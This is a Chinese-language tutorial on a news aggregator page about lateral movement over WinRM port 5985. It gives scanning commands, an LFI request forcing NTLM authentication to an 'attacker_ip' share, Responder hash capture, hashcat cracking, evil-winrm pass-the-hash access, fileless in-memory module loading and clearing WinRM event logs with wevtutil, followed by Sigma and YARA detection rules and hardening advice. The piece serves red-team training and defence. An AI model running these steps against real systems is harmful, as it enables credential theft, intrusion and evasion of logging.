当前位置: 首页 > news >正文

别再只扫22和3389了!利用5985端口WinRM的隐蔽横向移动手法详解

5985端口WinRM:红队视角下的隐蔽横向移动与防御策略

Windows Remote Management(WinRM)作为微软原生远程管理协议,长期被企业IT管理员视为便捷的运维工具,却鲜少出现在红队成员的攻击清单中。当大多数渗透测试报告还在反复强调22端口SSH和3389端口RDP的风险时,5985端口正悄然成为内网渗透的"暗门"。去年某次红队行动中,我们仅凭一个普通域用户凭证,通过WinRM在30分钟内横向移动至域控服务器,而防守方的SIEM系统全程未触发任何告警。

1. WinRM服务识别与指纹提取

传统内网扫描往往止步于22、3389、445等"明星端口",而忽略5985端口的潜在价值。使用Nmap进行服务识别时,建议采用以下组合参数:

nmap -p 5985 -sV --script=winrm-auth,http-auth-finder -T4 10.129.136.0/24

关键参数解析

  • -sV精确识别服务版本
  • --script=winrm-auth检测WinRM认证方式
  • -T4平衡扫描速度与隐蔽性

在HTB(Hack The Box)的Unika靶机环境中,我们常遇到这样的扫描结果:

端口服务版本信息认证方式
5985httpMicrosoft HTTPAPI httpd 2.0NTLM, Kerberos

实战技巧

  • 当发现5985端口开放时,立即检查/wsman端点
  • 使用cURL测试基础认证可用性:curl -v http://target:5985/wsman --ntlm -u user:pass
  • 注意观察HTTP头中的Server字段,Windows Server 2016+默认启用WinRM

注意:企业内网中WinRM服务可能配置在非标准端口,建议配合全端口扫描结果分析

2. 认证绕过与权限提升组合拳

WinRM最危险的特质在于其与Windows认证体系的深度集成。我们曾遇到一个典型案例:某电商平台运维人员为方便管理,在所有服务器配置了相同的WinRM连接凭证。

2.1 NTLM中继攻击实战

当发现存在LFI漏洞时,可构造特殊请求强制系统进行NTLM认证:

GET /index.php?page=//attacker_ip/share/file HTTP/1.1 Host: unika.htb

使用Responder捕获NetNTLMv2哈希:

python3 Responder.py -I eth0 -wrf

破解哈希的进阶方法

hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt -r rules/best64.rule

2.2 凭证重用攻击链

获得有效凭证后,evil-winrm是最直接的武器:

evil-winrm -i 10.129.136.91 -u administrator -p 'P@ssw0rd!' -s /scripts/ -e /executables/

参数说明

  • -s上传脚本的本地目录
  • -e上传可执行文件的本地目录
  • -H使用哈希认证(PtH攻击)

3. 隐蔽持久化与日志清理

WinRM的日志系统常被蓝队忽视,这为红队提供了绝佳的操作空间。

3.1 无文件持久化技术

通过内存加载PowerShell模块实现:

$sess = New-PSSession -ComputerName DC01 Invoke-Command -Session $sess -ScriptBlock { $module = [System.Convert]::FromBase64String("base64_encoded_psm1") [System.Reflection.Assembly]::Load($module) }

3.2 日志清理四步法

  1. 定位事件日志文件:
    Get-WinEvent -ListLog Microsoft-Windows-WinRM*
  2. 备份原始日志(避免触发异常告警)
  3. 使用wevtutil清除特定事件:
    wevtutil cl Microsoft-Windows-WinRM/Operational
  4. 注入正常流量混淆视听

4. 蓝队防御体系建设

真正的安全防护需要从攻击者视角构建防御策略。

4.1 检测规则示例

Sigma规则检测WinRM异常认证

title: Suspicious WinRM Authentication description: Detects multiple failed WinRM login attempts logsource: product: windows service: windows-winrm detection: selection: EventID: 91 ResultCode: '0xC000006A' timeframe: 5m condition: selection | count() > 3

4.2 加固建议清单

  • 启用WinRM HTTPS传输(5986端口)
  • 配置客户端证书认证
  • 限制可连接WinRM的源IP范围
  • 定期审计WinRM用户权限
  • 监控winrm.vbs脚本的异常调用

在一次金融行业攻防演练中,防守方通过部署以下YARA规则,成功捕获了我们基于WinRM的横向移动:

rule winrm_malicious_activity { meta: description = "Detects suspicious WinRM operations" strings: $a = "New-PSSession" nocase $b = "Invoke-Command" nocase $c = "Register-PSSessionConfiguration" nocase condition: any of them and filesize < 100KB }

WinRM就像一扇被遗忘的后门,既可能成为攻击者的捷径,也能转化为防守方的陷阱。某次渗透测试结束后,客户的安全主管感叹:"我们花了重金部署的EDR系统,居然对WinRM的异常调用毫无反应。"这提醒我们,真正的安全不在于工具的堆砌,而在于对每个协议特性的深刻理解。

http://www.cnnetsun.cn/news/2135660.html

相关文章:

  • 用ESP32S3 Sense和Arduino,35块钱做个能听懂你说话的AI小助手(附完整代码)
  • 工业场景大面积扫码的技术实现与系统对接方案
  • 降AI率怎么花钱最值?5款主流工具综合性价比盘点毕业生必看!
  • 2025届学术党必备的十大降AI率助手实测分析
  • 2025届学术党必备的五大降重复率网站实测分析
  • 苹果前AI主管离职,兼职加盟CuspAI开拓美国市场
  • 2026年项目管理软件革命:AI与混合现实重塑协作生态
  • 告别Cygwin!用Python+EarthData API搞定MODIS数据自动下载(附完整脚本)
  • 长芯微LD8568完全P2P替代ADS8568,六通道16位精度,250KSPS模数转换器芯片
  • 抖音视频批量下载终极指南:4步打造你的专属内容库
  • 5分钟掌握Audio Slicer:免费高效的音频智能分割终极指南
  • 揭秘VS Code MCP认证失败的底层原因:基于VS Code源码级分析的6大握手失败场景及Wireshark抓包验证法
  • 【研报403】2026年传感器自动校准技术研判报告:2028年技术路线分叉与产业格局
  • 用Flink SQL的ROLLUP和CUBE,5分钟搞定电商订单的多维度实时分析报表
  • 如何用WechatBot轻松打造你的专属微信助手:小白也能上手的完整指南
  • 2026年玻璃双边磨边机厂家选型参考与对比解析
  • 阿里面试:Redis缓存穿透怎么解决?别再只答缓存空值了
  • 从‘列表越界’到写出健壮代码:Python异常处理的实战心得与最佳实践
  • 程序设计-有一个实时交易系统,成交价格会持续写入。现在需要你设计一个模块,能够:实时接收新的成交价,在任意时刻快速返回当前成交价的中位数
  • 知网/万方双重机检底座下,哪些降重软件可以同时降低查重率和AIGC疑似率?
  • 手把手教你为Aocoda F405V2飞控升级AT32F435芯片:引脚兼容性检查与固件适配要点
  • CDMA2000基站测试关键技术解析与工程实践
  • OpenClaw AI运维速查手册:单文件HTML打造终端高效查询工具
  • ZIP密码恢复革命:bkcrack如何用已知明文攻击3分钟解锁加密文件
  • 避坑指南:YOLOv8-pose关键点训练数据准备,Labelme标注的3个常见错误与修复脚本
  • FPGA新手避坑指南:用Verilog在Spartan-6上搞定IS62LV256 SRAM读写(附完整代码)
  • 智能优化光伏系统电池参数辨识与状态评估实现【附代码】
  • 解锁论文降重新姿势:书匠策AI,你的学术减负小能手!
  • 从RGB-D数据到3D感知:Kinect V2深度图与彩色图对齐实战(Python/OpenCV)
  • 微信语音导出mp3全攻略:手机免电脑、在线工具、格式工厂三种方法实测对比